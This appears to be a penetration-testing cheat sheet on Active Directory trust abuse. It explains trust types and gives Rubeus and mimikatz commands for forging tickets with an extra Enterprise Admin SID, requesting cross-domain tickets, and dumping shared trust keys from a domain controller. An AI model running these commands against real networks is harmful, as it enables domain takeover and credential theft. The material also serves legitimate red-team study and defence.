Trusts abuses
Table of content
Domain trusts
Two domains can establish trust relations. This relation allows a user from domaine A to access resources hosted in domain B.
The trusts relations can be :
- One way
- Two way
- Transitive
- Un-transitive
One way trust
A One way trust is established from domain A to domain B. In this case, users from domain B can access resources based in domain A as domain A TRUST domain B.
However, users from domain A cannot access resources based in domain B.
Two way
In this kind of trust, the domains trust each other. Thus, users from domain A can access resources based in domain B and the other way around.
Transitive
Transitive relation imply that if domain A trust domain B and domain C trust domain A, then domain C also trust domain B. With this configuration, users from domain B can access ressources inside domain C without an domain C explicitly trusting domain B.
Parent and Child
By default, when a child domain is created, a bidirectional trust between the parent and the child is created.
Thus, if the child domain is compromised and a Domain Admin account is retrieve, it is possible to compromise the parent domain too using the Domain Admin TGT with a SID History attribute. Indeed, jump from on domain to another is only allowed to Entreprise Admin users. Explicitly adding the user to the group is not needed, siimply adding the group SID to the SID History is enough.
There are several methods to add the Entreprise Admin SID into the user SID History such as patching the NTDS or through the DC Shadow technique but the easiest way is to forge the TGT with an extra SID. Rubeus support the /sids parameter that can be used to request a ticket with extra SID.
GoldenandDiamondstickets can be created withRubeususing the/sidsparameter that will contains theEntreprise AdmingroupSID.
Get TGT to another domain
First, an inter-realm key is needed. Thus, the generation of the TGS must be performed in three steps.
1 - Get TGT for the user
Rubeus.exe asktgt /user:${user} /domain:${startDomain} /aes256:${userKerberosKey} /nowrap
2 - Get a referal ticket
Ask a TGS signed with the trust account NTLM.
Rubeus.exe asktgs /service:krbtgt/${targetDomain} /domain:${startDomain} /dc:${dcStartDomain} /ticket:${userTGTFromStep1} /nowrap
3 - Get TGS in the target domain
The
serverFromTagerDomainand thetargetDomainMUST be different servers !Rubeus.exe asktgs /service:cifs/${serverFromTargetDomain} /domain:${targetDomain} /dc:${dcFromTargetDomain} /ticket:${ticketFromStep2} /nowrap
Shared Trust Password
This technique can be used when there is a one-way trust where Domain A trusts Domain B and Domain A has been compromised.
As the trust is a one-way trust, Domain A should not be able to access ressources from Domain B.
Both domains involved in a trust store a shared password that is renewed every 30 days in the Trust Domain Object (TDO). These objects can be read by LDAP.
# AD Filter
(objectCategory=trustedDomain)
Likewise, there is a user created with the pattern DOMAINB$. Once the key material is retrieved, it is possible to impersonnate this account to access to the trusted domain.
Dump from DC memory
The shared key material can be obtained directly by dumping the DC memory. Once connected on the DC mimikatz can be used to extract the key material:
mimikatz lsadump::trust /patch
As we are patching the
DCmemory, this operation can be particularly risky
DCSync with the TDO GUID
First, get the TDO GUID using PowerView or ADExplorer. Then, you can DCSync:
mimikatz @lsadump::dcsync /domain:${domainA} /guid:{${TdoGuid}}
# Look at the `OUT` result only
Retrieve a TGT for Domain B
Rubeus.exe asktgt /user:${DomainB$} /domain:${DomainB} /rc4:${DomainBKey} /nowrap